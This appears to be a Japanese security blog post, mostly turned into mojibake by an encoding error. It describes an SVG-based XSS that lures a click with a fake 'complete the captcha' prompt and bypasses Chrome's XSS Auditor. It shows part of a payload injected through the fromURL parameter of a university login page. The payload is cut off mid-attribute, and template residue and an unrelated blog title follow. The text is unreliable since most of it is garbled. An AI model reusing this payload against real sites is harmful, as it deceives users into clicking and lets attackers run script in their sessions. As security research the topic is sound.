ユーザæ“作ã®ã„ã‚‹XSSã§ç°¡å˜ã«ã‚¯ãƒªãƒƒã‚¯ã‚’誘発ã•ã›ã‚‹æ‰‹æ³•ã¨ã€XSS Auditorã®ãƒã‚¤ãƒ‘ス方法 - ç´ äººãŒãƒ—ãƒã‚°ãƒ©ãƒŸãƒ³ã‚°ã‚’勉強ã—ã¦ã„ãŸãƒ–ãƒã‚°ç‰¹ã«æŠ€è¡“çš„ã«æ–°ã—ã„ã‚‚ã®ã§ã¯ãªã„ã®ã§å…¬é–‹ã›ãšã«æ”¾ç½®ã—ã¦ã„ãŸãŒã€XSS Auditorã‚’ãƒã‚¤ãƒ‘スã™ã‚‹æ–¹æ³•ã¯ã„ã‚ã„ã‚ã‚ã‚‹ã®ã§æ°—ã‚’ã¤ã‘ã¾ã—ょã†ã¨ã„ã†è©±ã€‚ XSS Auditorã‚’ãƒã‚¤ãƒ‘スã™ã‚‹æ–¹æ³•ã¯ã€Chrome XSS Auditor - SVG Bypass - Hack 2 Learnã‚’å‚考ã«ã—ãŸ(最新版ã§ã¯ã™ã§ã«ã“ã®æ‰‹æ³•ã¯å¡žãŒã‚ŒãŸ)。 実演ã¨è§£èª¬ 見ãŸæ–¹ãŒã‚ã‹ã‚Šã‚„ã™ã„ã¨æ€ã†ã®ã§ã€å‹•ç”»ã«ã—ãŸã®ã§è¦‹ã¦ã»ã—ã„。 ã“ã‚Œã¯ã‚る大å¦ã®ãƒã‚°ã‚¤ãƒ³ç”»é¢ã«å˜åœ¨ã™ã‚‹XSSã§ã€ login.php?fromURL=xxx">Please complete the captcha before proceeding.<br><svg width=242px height=65px><a><image href=https://i.imgur.com/6W1W2jE.png/><animate attributeNam
SVGã§XSSã‚’ã—ã¦ã¿ã‚‹ã€‚ãã®1 - cocuh's note
{{#tags}}- {{label}}
{{/tags}}